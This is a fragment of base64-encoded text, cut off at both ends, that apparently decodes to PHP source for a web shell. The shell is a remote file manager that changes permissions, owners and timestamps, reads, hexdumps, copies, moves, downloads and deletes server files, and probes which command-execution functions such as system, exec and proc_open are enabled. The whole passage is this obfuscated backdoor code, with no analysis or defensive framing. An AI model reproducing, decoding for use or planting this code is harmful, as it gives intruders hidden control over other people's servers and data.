ZXh0JyBuYW1lPSdvY3RhbCcgdmFsdWU9JyVzJy8+DQoJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J0NobW9kJyBuYW1lPSdjaG1vZCcvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+IixzdWJzdHIoZGVjb2N0KGZpbGVwZXJtcygkZmlsZSkpLDIpLCRzdGF0dXMpOw0KDQoJCQlpZihhbnkoInN0YXR1cyIsJF9TRVNTSU9OKSkgdW5zZXQoJF9TRVNTSU9OWydzdGF0dXMnXSk7DQoNCgkJCWlmKGFueSgiY2htb2QiLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJG9jdGFsPW9jdGRlYygkX1JFUVVFU1RbJ29jdGFsJ10pOw0KCQkJCWlmKCFjaG1vZCh0cmltKCRmaWxlKSwkb2N0YWwpKSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J1dob29wcywgc29tZXRoaW5nIHdlbnQgd3JvbmcuLi4nOw0KCQkJCX0NCgkJCQllbHNlIA0KCQkJCXsNCgkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nQ2htb2QgZmlsZSB3aXRoIHN1Y2Nlc3MnOw0KCQkJCX0NCgkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPWMmcj0iLnVybGUoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0nY3duJykNCgkJew0KCQkJJG93bj0nJzsNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSkgDQoJCQl7DQoJCQkJJHVzZXI9cG9zaXhfZ2V0cHd1aWQoZmlsZW93bmVyKCR4KSk7DQoJCQkJJG93bj0kdXNlclsnbmFtZSddOw0KCQkJfQ0KDQoJCQlwcmludGYoIjxmb3JtIGNsYXNzPSduZXcnIG1ldGhvZD0ncG9zdCc+DQoJCQkJPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J293bicgdmFsdWU9JyVzJy8+DQoJCQkJPGlucHV0IHR5cGU9J1N1Ym1pdCcgdmFsdWU9J0Nob3duJyBuYW1lPSdjaG93bicvPg0KCQkJCTxsYWJlbD4lczwvbGFiZWw+DQoJCQk8L2Zvcm0+Iiwkb3duLCRzdGF0dXMpOw0KDQoJCQlpZihhbnkoInN0YXR1cyIsJF9TRVNTSU9OKSkgdW5zZXQoJF9TRVNTSU9OWydzdGF0dXMnXSk7DQoNCgkJCWlmKGFueSgiY2hvd24iLCRfUkVRVUVTVCkpDQoJCQl7DQoJCQkJJG93bj0kX1JFUVVFU1RbJ293biddOw0KCQkJCWlmKCFjaG93bih0cmltKCRmaWxlKSwkb3duKSkgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uJzsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J0Nob3duIGZpbGUgd2l0aCBzdWNjZXNzJzsNCgkJCQl9DQoJCQkJaGVhZGVyKCJsb2NhdGlvbjoiLnBocF9zZWxmLiI/YT1jd24mcj0iLnVybGUoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0nY2dwJykNCgkJew0KCQkJJGdycD0nJzsNCgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgDQoJCQl7DQoJCQkJJGdyb3VwPXBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkeCkpOw0KCQkJCSRncnA9JGdyb3VwWyduYW1lJ107DQoJCQl9DQoNCgkJCXByaW50ZigiPGZvcm0gY2xhc3M9J25ldycgbWV0aG9kPSdwb3N0Jz4NCgkJCQk8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZ3JwJyB2YWx1ZT0nJXMnLz4NCgkJCQk8aW5wdXQgdHlwZT0nU3VibWl0JyB2YWx1ZT0nQ2hncnAnIG5hbWU9J2NoZ3JwJy8+DQoJCQkJPGxhYmVsPiVzPC9sYWJlbD4NCgkJCTwvZm9ybT4iLCRncnAsJHN0YXR1cyk7DQoNCgkJCWlmKGFueSgic3RhdHVzIiwkX1NFU1NJT04pKSB1bnNldCgkX1NFU1NJT05bJ3N0YXR1cyddKTsNCg0KCQkJaWYoYW55KCJjaGdycCIsJF9SRVFVRVNUKSkNCgkJCXsNCgkJCQkkZ3JwPSRfUkVRVUVTVFsnZ3JwJ107DQoJCQkJaWYoIWNoZ3JwKHRyaW0oJGZpbGUpLCRncnApKSANCgkJCQl7DQoJCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109J1dob29wcywgc29tZXRoaW5nIHdlbnQgd3JvbmcuLi4nOw0KCQkJCX0NCgkJCQllbHNlIA0KCQkJCXsNCgkJCQkJJF9TRVNTSU9OWydzdGF0dXMnXT0nQ2hncnAgZmlsZSB3aXRoIHN1Y2Nlc3MnOw0KCQkJCX0NCgkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPWNncCZyPSIudXJsZSgkZmlsZSkpOw0KCQkJfQ0KCQl9DQoNCgkJaWYoJF9SRVFVRVNUWydhJ109PSd0JykNCgkJew0KCQkJcHJpbnRmKCI8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSd0aW1lJyB2YWx1ZT0nJXMnLz4NCgkJCQk8aW5wdXQgdHlwZT0nU3VibWl0JyB2YWx1ZT0nVG91Y2gnIG5hbWU9J3RvdWNoJy8+DQoJCQkJPGxhYmVsPiVzPC9sYWJlbD4NCgkJCTwvZm9ybT4iLEdldEZpbGVUaW1lKCRmaWxlLCJtb2RpZnkiKSwkc3RhdHVzKTsNCg0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoInRvdWNoIiwkX1JFUVVFU1QpKQ0KCQkJew0KCQkJCSR0aW1lPSRfUkVRVUVTVFsndGltZSddOw0KCQkJCWlmKCF0b3VjaCh0cmltKCRmaWxlKSxzdHJ0b3RpbWUoJHRpbWUpKSkgDQoJCQkJew0KCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIHNvbWV0aGluZyB3ZW50IHdyb25nLi4uJzsNCgkJCQl9DQoJCQkJZWxzZSANCgkJCQl7DQoJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109J1RvdWNoZWQgZmlsZSB3aXRoIHN1Y2Nlc3MnOw0KCQkJCX0NCgkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPXQmcj0iLnVybGUoJGZpbGUpKTsNCgkJCX0NCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0ndicpDQoJCXsNCgkJCXByaW50ZigiPGRpdiBjbGFzcz0nbWVudSc+DQoJCQkJCTx1bD4NCgkJCQkJCTxsaT48YSBocmVmPSc/YT12JnI9JXMnPlNvdXJjZTwvYT48L2xpPg0KCQkJCQkJPGxpPjxhIGhyZWY9Jz9hPXYmdz1mJnI9JXMnPmlGcmFtZTwvYT48L2xpPg0KCQkJCQkJPGxpPjxhIGhyZWY9Jz9hPXYmdz1pJnI9JXMnPkltYWdlPC9hPjwvbGk+DQoJCQkJCQk8bGk+PGEgaHJlZj0nP2E9diZ3PXYmcj0lcyc+VmlkZW88L2E+PC9saT4NCgkJCQkJCTxsaT48YSBocmVmPSc/YT12Jnc9YSZyPSVzJz5BdWRpbzwvYT48L2xpPg0KCQkJCQk8L3VsPg0KCQkJCTwvZGl2PiIsDQoJCQl1cmxlKCRmaWxlKSx1cmxlKCRmaWxlKSwNCgkJCXVybGUoJGZpbGUpLHVybGUoJGZpbGUpLA0KCQkJdXJsZSgkZmlsZSkpOw0KDQoJCQlpZihpc19yZWFkYWJsZSgkZmlsZSkpDQoJCQl7DQoJCQkJaWYoYW55KCJ3IiwkX1JFUVVFU1QpKQ0KCQkJCXsNCgkJCQkJJHVybD1HZXRVcmxGcm9tUGF0aCgkZmlsZSk7DQoJCQkJCSR0eXBlPXBhdGhpbmZvKCR1cmwpWydleHRlbnNpb24nXTsNCg0KCQkJCQlpZigkX1JFUVVFU1RbJ3cnXT09J2YnKQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjxjZW50ZXI+PGlmcmFtZSBzcmM9JyVzJyB3aWR0aD0nMTAwJSUnIGhlaWdodD0nMzI1JyBmcmFtZUJvcmRlcj0nMCc+U3VjazwvaWZyYW1lPjxhIGhyZWY9JyVzJyB0YXJnZXQ9J19ibGFuayc+LS0+IE5ldyBUYWIgPC0tPC9hPjwvY2VudGVyPiIsJHVybCwkdXJsKTsNCgkJCQkJfQ0KDQoJCQkJCWlmKCRfUkVRVUVTVFsndyddPT0naScpDQoJCQkJCXsNCgkJCQkJCXByaW50ZigiPGNlbnRlcj48aW1nIHNyYz0nJXMnIGFsdD0nJm5ic3A7Tm90IEltYWdlJy8+PC9jZW50ZXI+IiwkdXJsKTsNCgkJCQkJfQ0KDQoJCQkJCWlmKCRfUkVRVUVTVFsndyddPT0ndicpDQoJCQkJCXsNCgkJCQkJCXByaW50ZigiPGNlbnRlcj48dmlkZW8gd2lkdGg9JzY0MCcgaGVpZ2h0PSczMjAnIGNvbnRyb2xzPjxzb3VyY2Ugc3JjPSclcycgdHlwZT0ndmlkZW8vJXMnPlN1Y2s8L3ZpZGVvPjwvY2VudGVyPiIsJHVybCwkdHlwZSk7DQoJCQkJCX0NCg0KCQkJCQlpZigkX1JFUVVFU1RbJ3cnXT09J2EnKQ0KCQkJCQl7DQoJCQkJCQlwcmludGYoIjxjZW50ZXI+PGF1ZGlvIGNvbnRyb2xzPjxzb3VyY2Ugc3JjPSclcycgdHlwZT0nYXVkaW8vJXMnPlN1Y2s8L2F1ZGlvPjwvY2VudGVyPiIsJHVybCwkdHlwZSk7DQoJCQkJCX0NCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJaWYoZmlsZXNpemUoJGZpbGUpID4gNTI0Mjg4MCkNCgkJCQkJew0KCQkJCQkJcHJpbnRmKCJMYXp5IHRvIFJlYWQgbW9yZSB0aGFuIDVNQiBGaWxlcyIpOw0KCQkJCQl9DQoJCQkJCWVsc2UNCgkJCQkJew0KCQkJCQkJJGNvZGU9aGlnaGxpZ2h0X2ZpbGUoJGZpbGUsdHJ1ZSk7DQoJCQkJCQlwcmludGYoIjxkaXYgY2xhc3M9J2hpZ2hsaWdodCc+JXM8L2Rpdj4iLCRjb2RlKTsNCgkJCQkJfQ0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkNCgkJaWYoJF9SRVFVRVNUWydhJ109PSdoJykNCgkJew0KCQkJJGM9ZmlsZV9nZXRfY29udGVudHMoJGZpbGUpOw0KCQkJJG49MDsNCgkJCSRoPWFycmF5KCcwMDAwMDAwMDxicj4nLCcnLCcnKTsNCgkJCSRsZW49c3RybGVuKCRjKTsNCgkJCWZvcigkaT0wOyRpPCRsZW47KyskaSkNCgkJCXsNCgkJCQkkaFsxXS49c3ByaW50ZignJTAyWCcsb3JkKCRjWyRpXSkpLicgJzsNCgkJCQlzd2l0Y2gob3JkKCRjWyRpXSkpDQoJCQkJew0KCQkJCQljYXNlIDA6ICRoWzJdLj0nICc7YnJlYWs7DQoJCQkJCWNhc2UgOTogJGhbMl0uPScgJzticmVhazsNCgkJCQkJY2FzZSAxMDokaFsyXS49JyAnO2JyZWFrOw0KCQkJCQljYXNlIDEzOiRoWzJdLj0nICc7YnJlYWs7DQoJCQkJCWRlZmF1bHQ6JGhbMl0uPSRjWyRpXTticmVhazsNCgkJCQl9DQoJCQkJJG4rKzsNCgkJCQlpZigkbj09MzIpDQoJCQkJew0KCQkJCQkkbj0wOw0KCQkJCQlpZigkaSsxIDwgJGxlbikNCgkJCQkJew0KCQkJCQkJJGhbMF0uPXNwcmludGYoJyUwOFgnLCRpKzEpLic8YnI+JzsNCgkJCQkJfQ0KCQkJCQkkaFsxXS49Jzxicj4nOw0KCQkJCQkkaFsyXS49IlxuIjsNCgkJCQl9DQoJCQl9DQoJCQlwcmludGYoIg0KCQkJCTxkaXYgaWQ9J2hleGR1bXAnPg0KCQkJCQk8dGFibGUgY2xhc3M9J2hleGR1bXAnPg0KCQkJCQkJPHRyPg0KCQkJCQkJCTx0ZD48cHJlPiVzPC9wcmU+PC90ZD4NCgkJCQkJCQk8dGQ+PHByZT4lczwvcHJlPjwvdGQ+DQoJCQkJCQkJPHRkPjxwcmU+JXM8L3ByZT48L3RkPg0KCQkJCQkJPC90cj4NCgkJCQkJPC90YWJsZT4NCgkJCQk8L2Rpdj4iLCRoWzBdLCRoWzFdLGh0bWxzcGVjaWFsY2hhcnMoJGhbMl0pKTsNCgkJfQ0KDQoJCWlmKCRfUkVRVUVTVFsnYSddPT0nY3AnfHwkX1JFUVVFU1RbJ2EnXT09J212JykNCgkJew0KCQkJcHJpbnRmKCI8Zm9ybSBjbGFzcz0nbmV3JyBtZXRob2Q9J3Bvc3QnPg0KCQkJCTxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdmaWxlLWRlc3QnIHZhbHVlPSclcycvPg0KCQkJCTxpbnB1dCB0eXBlPSdTdWJtaXQnIHZhbHVlPSclcycgbmFtZT0nc3VibWl0Jy8+DQoJCQkJPGxhYmVsPiVzPC9sYWJlbD4NCgkJCTwvZm9ybT4iLCRmaWxlLCgkX1JFUVVFU1RbJ2EnXT09J2NwJz8nQ29weSc6J01vdmUnKSwkc3RhdHVzKTsNCg0KCQkJaWYoYW55KCJzdGF0dXMiLCRfU0VTU0lPTikpIHVuc2V0KCRfU0VTU0lPTlsnc3RhdHVzJ10pOw0KDQoJCQlpZihhbnkoInN1Ym1pdCIsJF9SRVFVRVNUKSkNCgkJCXsNCgkJCQkkc291cmNlPSRmaWxlOw0KCQkJCSRkZXN0PSRfUkVRVUVTVFsnZmlsZS1kZXN0J107DQoNCgkJCQlpZighZmlsZV9leGlzdHMoJGRlc3QpKQ0KCQkJCXsNCgkJCQkJaWYgKCRfUkVRVUVTVFsnYSddPT0nY3AnKQ0KCQkJCQl7DQoJCQkJCQlpZighY29weSh0cmltKCRzb3VyY2UpLHRyaW0oJGRlc3QpKSkgDQoJCQkJCQl7DQoJCQkJCQkgICAgJF9TRVNTSU9OWydzdGF0dXMnXT0nV2hvb3BzLCBjYW5ub3QgY29weWluZy4uLic7DQoJCQkJCQl9DQoJCQkJCQllbHNlIA0KCQkJCQkJew0KCQkJCQkJICAgICRfU0VTU0lPTlsnc3RhdHVzJ109IkNvcHkgZmlsZSB3aXRoIHN1Y2Nlc3MgPGEgaHJlZj0/YT12JnI9JyIgLiB1cmxlKCRkZXN0KSAuICInPiciIC4gYmFzZW5hbWUoJGRlc3QpIC4gIic8L2E+IjsNCgkJCQkJCX0NCgkJCQkJfQ0KCQkJCQllbHNlaWYoJF9SRVFVRVNUWydhJ109PSdtdicpDQoJCQkJCXsNCgkJCQkJCWlmKCFjb3B5KHRyaW0oJHNvdXJjZSksdHJpbSgkZGVzdCkpKSANCgkJCQkJCXsNCgkJCQkJCSAgICAkX1NFU1NJT05bJ3N0YXR1cyddPSdXaG9vcHMsIGNhbm5vdCBtb3ZpbmcuLi4nOw0KCQkJCQkJfQ0KCQkJCQkJZWxzZSANCgkJCQkJCXsNCgkJCQkJCSAgICBpZihSZW1vdmUoJHNvdXJjZSkpDQoJCQkJCQkgICAgew0KCQkJCQkJICAgIAkkX1NFU1NJT05bJ3N0YXR1cyddPSJNb3ZlIGZpbGUgd2l0aCBzdWNjZXNzIjsNCgkJCQkJCSAgICAJJGZpbGU9JGRlc3Q7DQoJCQkJCQkgICB9DQoJCQkJCQkgICAgZWxzZQ0KCQkJCQkJICAgIHsNCgkJCQkJCSAgICAJJF9TRVNTSU9OWydzdGF0dXMnXT0nV2hvb3BzLCBqdXN0IGNvcHlpbmcuLi4nOw0KCQkJCQkJICAgfQ0KCQkJCQkJfQ0KCQkJCQl9DQoJCQkJfQ0KCQkJCWVsc2UNCgkJCQl7DQoJCQkJCSRfU0VTU0lPTlsnc3RhdHVzJ109Ildob29wcywgRmlsZSB3YXMgRXhpc3RzIDxhIGhyZWY9P2E9diZyPSciIC4gdXJsZSgkZGVzdCkgLiAiJz4nIiAuIGJhc2VuYW1lKCRkZXN0KSAuICInPC9hPiI7DQoJCQkJfQ0KDQoJCQkJaWYoJF9SRVFVRVNUWydhJ109PSdjcCcpDQoJCQkJew0KCQkJCQloZWFkZXIoImxvY2F0aW9uOiIucGhwX3NlbGYuIj9hPWNwJnI9Ii51cmxlKCRmaWxlKSk7DQoJCQkJfQ0KCQkJCWVsc2VpZigkX1JFUVVFU1RbJ2EnXT09J212JykNCgkJCQl7DQoJCQkJCWhlYWRlcigibG9jYXRpb246Ii5waHBfc2VsZi4iP2E9bXYmcj0iLnVybGUoJGZpbGUpKTsNCgkJCQl9DQoJCQl9DQoJCX0NCg0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J2QnKQ0KCQl7DQoJCQlpZihmaWxlX2V4aXN0cygkZmlsZSkpDQoJCQl7DQoJCQkJaGVhZGVyKCdDYWNoZS1Db250cm9sOm11c3QtcmV2YWxpZGF0ZSxwb3N0LWNoZWNrPTAscHJlLWNoZWNrPTAnKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtRGlzcG9zaXRpb246YXR0YWNobWVudDtmaWxlbmFtZT0nLmJhc2VuYW1lKCRmaWxlKSk7DQoJCQkJaGVhZGVyKCdDb250ZW50LVR5cGU6YXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtJyk7DQoJCQkJaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOkZpbGUgVHJhbnNmZXInKTsNCgkJCQloZWFkZXIoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6YmluYXJ5Jyk7DQoJCQkJaGVhZGVyKCdDb250ZW50LUxlbmd0aDonLmZpbGVzaXplKCRmaWxlKSk7DQoJCQkJaGVhZGVyKCdQcmFnbWE6cHVibGljJyk7DQoJCQkJaGVhZGVyKCdFeHBpcmVzOjAnKTsNCgkJCQlvYl9jbGVhbigpOw0KCQkJCXJlYWRmaWxlKCRmaWxlKTsNCgkJCQlleGl0Ow0KCQkJfQ0KCQl9DQoJCQ0KCQlpZigkX1JFUVVFU1RbJ2EnXT09J3gnKQ0KCQl7DQoJCQlpZihmaWxlX2V4aXN0cygkZmlsZSkpDQoJCQl7DQoJCQkJaWYoUmVtb3ZlKCRmaWxlKSkNCgkJCQl7DQoJCQkJCWhlYWRlcigibG9jYXRpb246Ii4kYmFjayk7DQoJCQkJfQ0KCQkJfQ0KCQkJDQoJCQlwcmludCAnPGZvbnQgY2xhc3M9Im9mZiI+Q2Fubm90IERlbGV0ZTwvZm9udD4nOw0KCQl9DQoJfQ0KCWVsc2UNCgl7DQoJCXByaW50ICc8Zm9udCBjbGFzcz0ib2ZmIj5GaWxlIE5vdCBGb3VuZDwvZm9udD4nOw0KCX0NCn0NCg0KaWYoYW55KCJ4IiwkX1JFUVVFU1QpKQ0Kew0KCWlmKCRfUkVRVUVTVFsneCddPT0ibG9nb3V0IikNCgl7DQoJCXNlc3Npb25fZGVzdHJveSgpOw0KCQlzZXNzaW9uX3JlZ2VuZXJhdGVfaWQoKTsNCgkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmKTsNCgl9DQoJaWYoJF9SRVFVRVNUWyd4J109PSJzZWN1cmUiKQ0KCXsNCgkJJGRpc2FibGVfZnVuY3Rpb25zPWFycmF5X2ZpbHRlcihhcnJheV9tYXAoJ3RyaW0nLGV4cGxvZGUoJywnLGluaV9nZXQoImRpc2FibGVfZnVuY3Rpb25zIikpKSk7DQoNCgkJJHNlY3VyaXR5PWFycmF5KCdfeHllYycsJ2FsbG93X3VybF9mb3BlbicsJ2FsbG93X3VybF9pbmNsdWRlJywnYXBhY2hlX2NoaWxkX3Rlcm1pbmF0ZScsJ2FwYWNoZV9nZXRfbW9kdWxlcycsJ2FwYWNoZV9nZXRlbnYnLA0KCQknYXBhY2hlX25vdGUnLCdhcGFjaGVfc2V0ZW52JywnYmFzZTY0X2RlY29kZScsJ2NoZGlyJywnY2hncnAnLCdjaG1vZCcsJ2Nob3duJywnY3VybF9leGVjJywnY3VybF9tdWx0aV9leGVjJywnZGJhc2Vfb3BlbicsDQoJCSdkYm1vcGVuJywnZGVmaW5lX3N5c2xvZ192YXJpYWJsZXMnLCdkaXNrX2ZyZWVfc3BhY2UnLCdkaXNrX3RvdGFsX3NwYWNlJywnZGlza2ZyZWVzcGFjZScsJ2RsJywnZGxvcGVuJywnZXNjYXBlc2hlbGxhcmcnLA0KCQknZXNjYXBlc2hlbGxjbWQnLCdldmFsJywnZXhlYycsJ2V4dHJhY3QnLCdmaWxlcHJvJywnZmlsZXByb19yZXRyaWV2ZScsJ2ZpbGVwcm9fcm93Y291bnQnLCdmb3Blbl93aXRoX3BhdGgnLCdmcCcsJ2ZwdXQnLA0KCQknZnB1dHMnLCdmdHBfY29ubmVjdCcsJ2Z0cF9leGVjJywnZnRwX2dldCcsJ2Z0cF9sb2dpbicsJ2Z0cF9uYl9mcHV0JywnZnRwX3B1dCcsJ2Z0cF9yYXcnLCdmdHBfcmF3bGlzdCcsJ2dlb2lwX29wZW4nLA0KCQknZ2V0X2NmZ192YXInLCdnZXRfY3VycmVudF91c2VyJywnZ2V0X251bV9yZWRpcmVjdHMnLCdnZXRjd2QnLCdnZXRlbnYnLCdnZXRsYXN0bW8nLCdnZXRteWdpZCcsJ2dldG15aW5vZGUnLCdnZXRteXBpZCcsDQoJCSdnZXRteXVpZCcsJ2dldHJ1c2FnZScsJ2d6aW5mbGF0ZScsJ2d6dW5jb21wcmVzcycsJ2hpZ2hsaWdodF9maWxlJywnaHBBZHNfeG1scnBjRW5jb2RlJywnaW5pX2FsdGVyJywnaW5pX2dldF9hbGwnLA0KCQknaW5pX3Jlc3RvcmUnLCdpbmlfc2V0JywnaW5qZWN0X2NvZGUnLCdsZWFrJywnbGluaycsJ2xpc3RlbicsJ21haW53b3JrJywnbWJfc2VuZF9tYWlsJywnbWtkaXInLCdta2ZpZm8nLCdtb3ZlX3VwbG9hZGVkX2ZpbGUnLA0KCQknbXlzcWxfbGlzdF9kYnMnLCdteXNxbF9wY29ubmVjdCcsJ29wZW5sb2cnLCdwYXJzZV9pbmlfZmlsZScsJ3Bhc3N0aHJ1JywncGNudGxfYWxhcm0nLCdwY250bF9leGVjJywncGNudGxfZm9yaycsDQoJCSdwY250bF9nZXRfbGFzdF9lcnJvcicsJ3BjbnRsX2dldHByaW9yaXR5JywncGNudGxfc2V0cHJpb3JpdHknLCdwY250bF9zaWduYWwnLCdwY250bF9zaWduYWxfZGlzcGF0Y2gnLCdwY250bF9zaWdwcm9jbWFzaycsDQoJCSdwY250bF9zaWd0aW1lZHdhaXQnLCdwY250bF9zaWd3YWl0aW5mbycsJ3BjbnRsX3N0cmVycm9ycCcsJ3BjbnRsX3dhaXQnLCdwY250bF93YWl0cGlkJywncGNudGxfd2V4aXRzdGF0dXMnLCdwY250bF93aWZleGl0ZWQnLA0KCQkncGNudGxfd2lmc2lnbmFsZWQnLCdwY250bF93aWZzdG9wcGVkJywncGNudGxfd3N0b3BzaWcnLCdwY250bF93dGVybXNpZycsJ3Bmc29ja29wZW4nLCdwaHBBZHNfWG1sUnBjJywncGhwQWRzX3JlbW90ZUluZm8nLA0KCQkncGhwQWRzX3htbHJwY0RlY29kZScsJ3BocEFkc194bWxycGNFbmNvZGUnLCdwaHBfdW5hbWUnLCdwaHBpbmZvJywncG9wZW4nLCdwb3NpeF9nZXRncmdpZCcsJ3Bvc2l4X2dldGxvZ2luJywncG9zaXhfZ2V0cHd1aWQnLA0KCQkncG9zaXhfa2lsbCcsJ3Bvc2l4X21rZmlmbycsJ3Bvc2l4X3NldHBnaWQnLCdwb3NpeF9zZXRzaWQnLCdwb3NpeF9zZXR1aWQnLCdwb3NpeF90dHluYW1lJywncG9zaXhfdW5hbWUnLCdwb3NpeGMnLCdwcm9jX2Nsb3NlJywNCgkJJ3Byb2NfZ2V0X3N0YXRzJywncHJvY19nZXRfc3RhdHVzJywncHJvY19uaWNlJywncHJvY19vcGVuJywncHJvY190ZXJtaW5hdGUnLCdwc19hdXgnLCdwdXRlbnYnLCdyZWFkbGluaycsJ3JlbmFtZScsJ3JtZGlyJywNCgkJJ3J1bmtpdF9mdW5jdGlvbl9yZW5hbWUnLCdzZXRfdGltZV9saW1pdCcsJ3NoMl9leGVjJywnc2hlbGxfZXhlYycsJ3Nob3dfc291cmNlJywnc2xlZXAnLCdzb2NrZXRfYWNjZXB0Jywnc29ja2V0X2JpbmQnLA0KCQknc29ja2V0X2NsZWFyX2Vycm9yJywnc29ja2V0X2Nsb3NlJywnc29ja2V0X2Nvbm5lY3QnLCdzb2NrZXRfY3JlYXRlJywnc29ja2V0X2NyZWF0ZV9saXN0ZW4nLCdzb2NrZXRfY3JlYXRlX3BhaXInLA0KCQknc29ja2V0X2dldF9vcHRpb24nLCdzb2NrZXRfZ2V0cGVlcm5hbWUnLCdzb2NrZXRfZ2V0c29ja25hbWUnLCdzb2NrZXRfbGFzdF9lcnJvcicsJ3NvY2tldF9saXN0ZW4nLCdzb2NrZXRfcmVhZCcsDQoJCSdzb2NrZXRfcmVjdicsJ3NvY2tldF9yZWN2ZnJvbScsJ3NvY2tldF9zZWxlY3QnLCdzb2NrZXRfc2VuZCcsJ3NvY2tldF9zZW5kdG8nLCdzb2NrZXRfc2V0X2Jsb2NrJywnc29ja2V0X3NldF9ub25ibG9jaycsDQoJCSdzb2NrZXRfc2V0X29wdGlvbicsJ3NvY2tldF9zaHV0ZG93bicsJ3NvY2tldF9zdHJlcnJvcicsJ3NvY2tldF93cml0ZScsJ3N0cl9yb3QxMycsJ3N0cmVhbV9zZWxlY3QnLCdzdHJlYW1fc29ja2V0X3NlcnZlcicsDQoJCSdzeW1saW5rJywnc3lzbG9nJywnc3lzdGVtJywndHBfZXhlYycsJ3ZpcnR1YWwnLCd4bWxycGNfZW50aXR5X2RlY29kZScpOw0KDQoJCXNvcnQoJHNlY3VyaXR5KTsgDQoJCSRmdWNrcz1hcnJheV91bmlxdWUoYXJyYXlfbWVyZ2UoJGRpc2FibGVfZnVuY3Rpb25zLCRzZWN1cml0eSkpOw0KCQkkdGFibGU9IiI7DQoJCSRlbmFibGU9MDsNCgkJJGRpc2FibGU9MDsNCgkJJGRpZT1hcnJheSgpOw0KCQkkcmVhZHk9YXJyYXkoKTsNCgkJJG9mZj1hcnJheSgpOw0KCQkkdG90YWw9Y291bnQoJGZ1Y2tzKTsNCg0KCQlmb3JlYWNoKCRmdWNrcyBhcyAkZnVjaykNCgkJew0KCQkJJHRhYmxlLj0iPHRyPjx0ZD48L3RkPjx0ZD4kZnVjazwvdGQ+PHRkPiI7DQoJCQlpZihpbl9hcnJheSgkZnVjaywkZGlzYWJsZV9mdW5jdGlvbnMpKQ0KCQkJew0KCQkJCSR0YWJsZS49IjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkRJRTwvZm9udD48L2NlbnRlcj4iOw0KCQkJCSRkaWVbXT0kZnVjazsNCgkJCQkkZGlzYWJsZSsrOw0KCQkJfQ0KCQkJZWxzZQ0KCQkJew0KCQkJCWlmKGZ1bmN0aW9uX2V4aXN0cygkZnVjayl8fGlzX2NhbGxhYmxlKCRmdWNrKSkNCgkJCQl7DQoJCQkJCSR0YWJsZS49IjxjZW50ZXI+PGZvbnQgY29sb3I9Z3JlZW4+UkVBRFk8L2ZvbnQ+PC9jZW50ZXI+IjsNCgkJCQkJJHJlYWR5W109JGZ1Y2s7DQoJCQkJCSRlbmFibGUrKzsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJJHRhYmxlLj0iPGNlbnRlcj48Zm9udCBjb2xvcj1vcmFuZ2U+T0ZGPC9mb250PjwvY2VudGVyPiI7DQoJCQkJCSRvZmZbXT0kZnVjazsNCgkJCQkJJGRpc2FibGUrKzsNCgkJCQl9DQoJCQl9DQoJCQkkdGFibGUuPSI8L3RkPjwvdHI+IjsNCgkJfQ0KDQoJCSRyaXNrPSgkZW5hYmxlLyR0b3RhbCkqMTAwOw0KCQkkc2VjdXJlPSgkZGlzYWJsZS8kdG90YWwpKjEwMDsNCg0KCQlwcmludGYoIjxoMiBzdHlsZT0ndGV4dC1hbGlnbjpjZW50ZXInPlNlYy4gSW5mbyB2Mi4wLiVzPC9oMj48YnI+DQoJCQk8aDQgc3R5bGU9J3RleHQtYWxpZ246Y2VudGVyO2NvbG9yOnZhcigtLXR4dC1jb2xvciknPlJpc2tzIFJhdGUgPGZvbnQgY29sb3I9cmVkPlslcyUlXTwvZm9udD4gfCBTZWN1cmUgUmF0ZSA8Zm9udCBjb2xvcj1ncmVlbj5bJXMlJV08L2ZvbnQ+PC9oND48YnI+PGJyPg0KCQkJPGRpdiBjbGFzcz0nYXV0by1udW1iZXInPg0KCQkJCTx0YWJsZSBjbGFzcz0ndGFibGUgc29ydGFibGUnPg0KCQkJCQk8dGhlYWQ+DQoJCQkJCQk8dHI+DQoJCQkJCQkJPHRoIGNsYXNzPSdzb3J0dGFibGVfbm9zb3J0JyB3aWR0